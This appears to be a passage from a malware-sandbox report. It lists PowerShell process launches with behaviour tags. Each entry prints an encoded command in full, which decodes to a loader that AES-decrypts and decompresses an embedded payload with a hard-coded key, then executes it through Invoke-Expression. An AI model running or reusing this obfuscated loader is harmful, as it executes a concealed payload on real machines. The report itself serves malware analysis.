    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "PowerShell.exe -ExecutionPolicy Unrestricted, powershell.exe -EncodedCommand "JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA=="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted powershell.exe -EncodedCommand JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA==
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHA